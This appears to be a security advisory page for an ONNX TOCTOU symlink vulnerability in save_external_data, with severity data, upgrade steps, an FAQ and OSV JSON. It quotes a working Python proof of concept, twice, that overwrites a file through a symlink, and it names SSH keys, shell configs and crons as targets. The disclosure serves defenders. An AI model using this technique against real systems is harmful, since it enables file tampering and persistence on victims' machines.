CVE-2026-49114: ONNX TOCTOU Arbitrary File Read/write Vulnerability

HIGH
Advisory Identifier: GHSA-q56x-g2fj-4rj6
CVSS 7.1
CWE-367 CWE-59 CWE-22
Published
Advisory Summary

CVE-2026-49114 is a HIGH (CVSS 7.1) toctou arbitrary file read/write vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting ONNX libraries in the PyPI ecosystem. The issue involves toctou arbitrary file read/write in save_external_dat. Remediation is available by upgrading affected packages to version 1.21.0.

CVE-2026-49114 at a Glance

CVE Identifier CVE-2026-49114
GHSA Identifier GHSA-q56x-g2fj-4rj6
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product ONNX
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-49114

To remediate this vulnerability, upgrade all affected ONNX dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

onnx fixed: 1.21.0
pip install onnx>=1.21.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show onnx

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-49114, inspect your installed packages using pip:

pip show onnx

Analyze the terminal output to locate any version of ONNX in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.21.0), your application is affected.

Note: The pip show onnx command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In ONNX, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems. Regarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope. The mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188 ### Details #### Toctou The vulnerable code pattern: ```python # CHECK - Is this a file? if not os.path.isfile(external_data_file_path): # Line 228-229: USE #1 - Create if it doesn't exist with open(external_data_file_path, "ab"): pass # Open for writing with open(external_data_file_path, "r+b") as data_file: # Lines 233-243: Write tensor data data_file.seek(0, 2) if info.offset is not None: file_size = data_file.tell() if info.offset > file_size: data_file.write(b"\0" * (info.offset - file_size)) data_file.seek(info.offset) offset = data_file.tell() data_file.write(tensor.raw_data) ``` There is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section. #### Bypass There is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\` (only 1 part): ```python if location_path.is_absolute() and len(location_path.parts) > 1 ``` This may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro). ### PoC Install the dependencies and run this: ```python import os import sys import tempfile import numpy as np import onnx from onnx import TensorProto, helper from onnx.numpy_helper import from_array # Create a temporary directory for our poc with tempfile.TemporaryDirectory() as tmpdir: print(f"[*] Working directory: {tmpdir}") # Create a "sensitive" file that we'll overwrite sensitive_file = os.path.join(tmpdir, "sensitive.txt") with open(sensitive_file, 'w') as f: f.write("SENSITIVE DATA - DO NOT OVERWRITE") original_content = open(sensitive_file, 'rb').read() print(f"[*] Created sensitive file: {sensitive_file}") print(f" Original content: {original_content}") # Create a simple ONNX model with a large tensor print("[*] Creating ONNX model with external data...") # Create a tensor with data > 1KB (to trigger external data) large_array = np.ones((100, 100), dtype=np.float32) # 40KB tensor large_tensor = from_array(large_array, name='large_weight') # Create a minimal model model = helper.make_model( helper.make_graph( [helper.make_node('Identity', ['input'], ['output'])], 'minimal_model', [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])], [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])], [large_tensor] ) ) # Save model with external data to create the external data file model_path = os.path.join(tmpdir, "model.onnx") external_data_name = "data.bin" external_data_path = os.path.join(tmpdir, external_data_name) onnx.save_model( model, model_path, save_as_external_data=True, all_tensors_to_one_file=True, location=external_data_name, size_threshold=1024 ) print(f"[+] Model saved: {model_path}") print(f"[+] External data created: {external_data_path}") # Now comes the attack: replace the external data file with a symlink print("[!] ATTACK: Replacing external data file with symlink...") # Remove the legitimate external data file if os.path.exists(external_data_path): os.remove(external_data_path) print(f" Removed: {external_data_path}") # Create symlink pointing to sensitive file os.symlink(sensitive_file, external_data_path) print(f" Created symlink: {external_data_path} -> {sensitive_file}") # Now load and re-save the model, which will trigger the vulnerability print("Loading model and saving with external data...") try: # Load the model (without loading external data) loaded_model = onnx.load(model_path, load_external_data=False) # Modify the model slightly (to ensure we write new data) loaded_model.graph.initializer[0].raw_data = large_array.tobytes() # Save again - this will call save_external_data() and follow the symlink onnx.save_model( loaded_model, model_path, save_as_external_data=True, all_tensors_to_one_file=True, location=external_data_name, size_threshold=1024 ) except Exception as e: print(f"[-] Error: {e}") # Check if the sensitive file was overwritten print("[*] Checking if sensitive file was modified...") modified_content = open(sensitive_file, 'rb').read() print(f" Original size: {len(original_content)} bytes") print(f" Current size: {len(modified_content)} bytes") print(f" Original content: {original_content[:50]}") print(f" Current content: {modified_content[:50]}...") print() if modified_content != original_content: print("[!] Success!") else: print("[-] Failure") ``` Output: ``` [*] Working directory: /tmp/tmpqy7z88_l [*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt Original content: b'SENSITIVE DATA - DO NOT OVERWRITE' [*] Creating ONNX model with external data... [+] Model saved: /tmp/tmpqy7z88_l/model.onnx [+] External data created: /tmp/tmpqy7z88_l/data.bin [!] ATTACK: Replacing external data file with symlink... Removed: /tmp/tmpqy7z88_l/data.bin Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt Loading model and saving with external data... [*] Checking if sensitive file was modified... Original size: 33 bytes Current size: 40033 bytes Original content: b'SENSITIVE DATA - DO NOT OVERWRITE' Current content: b'SENSITIVE DATA - DO NOT OVERWRITE\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00\x00\x80?\x00'... ``` Successfully overwritting the "sensitive data" file. ### Impact The impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability. ### Mitigations 1. Atomic file creation 2. Symlink protection 3. Path canonicalization

CVE-2026-49114 Affected ONNX Versions

1 component(s)
Fixed Versions:
1.21.0
Product / Package Ecosystem Affected Versions Fixed Version
onnx
PyPI
< 1.21.0
1.21.0

References

Frequently Asked Questions

What is CVE-2026-49114?
CVE-2026-49114 is a security vulnerability in ONNX involving TOCTOU arbitrary file read/write in save_external_dat under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which ONNX versions are affected?
Affected versions include releases prior to 1.21.0 across affected packages: onnx.
What version fixes CVE-2026-49114?
Upgrading to 1.21.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is onnx affected?
Yes, onnx is affected in releases prior to 1.21.0. Upgrade your dependency to 1.21.0 or later.
What is the CVSS score of CVE-2026-49114?
CVE-2026-49114 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H.
What CWE is associated with CVE-2026-49114?
CVE-2026-49114 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check PyPI dependencies for CVE-2026-49114?
Run the dependency tree command: 'pip show onnx'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q56x-g2fj-4rj6",
  "modified" : "2026-09-08T20:57:37Z",
  "published" : "2026-04-01T23:40:58Z",
  "aliases" : [ "CVE-2026-49114" ],
  "summary" : "ONNX: TOCTOU arbitrary file read/write in save_external_dat ",
  "details" : "### Summary\n\nThe `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.\nRegarding the TOCTOU, an attacker seems to be able to overwrite victim's files via symlink following under the same privilege scope.\nThe mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188\n\n### Details\n\n#### Toctou\nThe vulnerable code pattern:\n```python\n   # CHECK - Is this a file?\n   if not os.path.isfile(external_data_file_path):\n       # Line 228-229: USE #1 - Create if it doesn't exist\n       with open(external_data_file_path, \"ab\"):\n           pass\n   \n   # Open for writing\n   with open(external_data_file_path, \"r+b\") as data_file:\n       # Lines 233-243: Write tensor data\n       data_file.seek(0, 2)\n       if info.offset is not None:\n           file_size = data_file.tell()\n           if info.offset > file_size:\n               data_file.write(b\"\\0\" * (info.offset - file_size))\n           data_file.seek(info.offset)\n       offset = data_file.tell()\n       data_file.write(tensor.raw_data)\n```\nThere is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section.\n\n#### Bypass\nThere is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\\` (only 1 part):\n```python\nif location_path.is_absolute() and len(location_path.parts) > 1\n```\nThis may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).\n\n### PoC\n\nInstall the dependencies and run this:\n```python\nimport os\nimport sys\nimport tempfile\nimport numpy as np\nimport onnx\nfrom onnx import TensorProto, helper\nfrom onnx.numpy_helper import from_array\n\n# Create a temporary directory for our poc\nwith tempfile.TemporaryDirectory() as tmpdir:\n    print(f\"[*] Working directory: {tmpdir}\")\n\n    # Create a \"sensitive\" file that we'll overwrite\n    sensitive_file = os.path.join(tmpdir, \"sensitive.txt\")\n    with open(sensitive_file, 'w') as f:\n        f.write(\"SENSITIVE DATA - DO NOT OVERWRITE\")\n\n    original_content = open(sensitive_file, 'rb').read()\n    print(f\"[*] Created sensitive file: {sensitive_file}\")\n    print(f\"    Original content: {original_content}\")\n\n    # Create a simple ONNX model with a large tensor\n    print(\"[*] Creating ONNX model with external data...\")\n\n    # Create a tensor with data > 1KB (to trigger external data)\n    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor\n    large_tensor = from_array(large_array, name='large_weight')\n\n    # Create a minimal model\n    model = helper.make_model(\n        helper.make_graph(\n            [helper.make_node('Identity', ['input'], ['output'])],\n            'minimal_model',\n            [helper.make_tensor_value_info('input', TensorProto.FLOAT, [100, 100])],\n            [helper.make_tensor_value_info('output', TensorProto.FLOAT, [100, 100])],\n            [large_tensor]\n        )\n    )\n\n    # Save model with external data to create the external data file\n    model_path = os.path.join(tmpdir, \"model.onnx\")\n    external_data_name = \"data.bin\"\n    external_data_path = os.path.join(tmpdir, external_data_name)\n\n    onnx.save_model(\n        model, \n        model_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=external_data_name,\n        size_threshold=1024\n    )\n\n    print(f\"[+] Model saved: {model_path}\")\n    print(f\"[+] External data created: {external_data_path}\")\n\n    # Now comes the attack: replace the external data file with a symlink\n    print(\"[!] ATTACK: Replacing external data file with symlink...\")\n\n    # Remove the legitimate external data file\n    if os.path.exists(external_data_path):\n        os.remove(external_data_path)\n        print(f\"    Removed: {external_data_path}\")\n\n    # Create symlink pointing to sensitive file\n    os.symlink(sensitive_file, external_data_path)\n    print(f\"    Created symlink: {external_data_path} -> {sensitive_file}\")\n\n    # Now load and re-save the model, which will trigger the vulnerability\n    print(\"Loading model and saving with external data...\")\n    try:\n        # Load the model (without loading external data)\n        loaded_model = onnx.load(model_path, load_external_data=False)\n\n        # Modify the model slightly (to ensure we write new data)\n        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()\n\n        # Save again - this will call save_external_data() and follow the symlink\n        onnx.save_model(\n            loaded_model,\n            model_path,\n            save_as_external_data=True,\n            all_tensors_to_one_file=True,\n            location=external_data_name,\n            size_threshold=1024\n        )\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n    \n    # Check if the sensitive file was overwritten\n    print(\"[*] Checking if sensitive file was modified...\")\n    modified_content = open(sensitive_file, 'rb').read()\n    \n    print(f\"    Original size: {len(original_content)} bytes\")\n    print(f\"    Current size:  {len(modified_content)} bytes\")\n    print(f\"    Original content: {original_content[:50]}\")\n    print(f\"    Current content:  {modified_content[:50]}...\")\n    print()\n    \n    if modified_content != original_content:\n        print(\"[!] Success!\")\n    else:\n        print(\"[-] Failure\")\n```\nOutput:\n```\n[*] Working directory: /tmp/tmpqy7z88_l\n[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt\n    Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'\n\n[*] Creating ONNX model with external data...\n[+] Model saved: /tmp/tmpqy7z88_l/model.onnx\n[+] External data created: /tmp/tmpqy7z88_l/data.bin\n[!] ATTACK: Replacing external data file with symlink...\n    Removed: /tmp/tmpqy7z88_l/data.bin\n    Created symlink: /tmp/tmpqy7z88_l/data.bin -> /tmp/tmpqy7z88_l/sensitive.txt\nLoading model and saving with external data...\n[*] Checking if sensitive file was modified...\n    Original size: 33 bytes\n    Current size:  40033 bytes\n    Original content: b'SENSITIVE DATA - DO NOT OVERWRITE'\n    Current content:  b'SENSITIVE DATA - DO NOT OVERWRITE\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00'...\n```\nSuccessfully overwritting the \"sensitive data\" file.\n\n### Impact\nThe impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.\n\n### Mitigations\n1. Atomic file creation\n2. Symlink protection\n3. Path canonicalization",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "onnx"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.21.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.20.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49114"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/onnx/onnx"
  }, {
    "type" : "WEB",
    "url" : "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-233-01.json"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-367", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:40:58Z",
    "nvd_published_at" : null
  }
}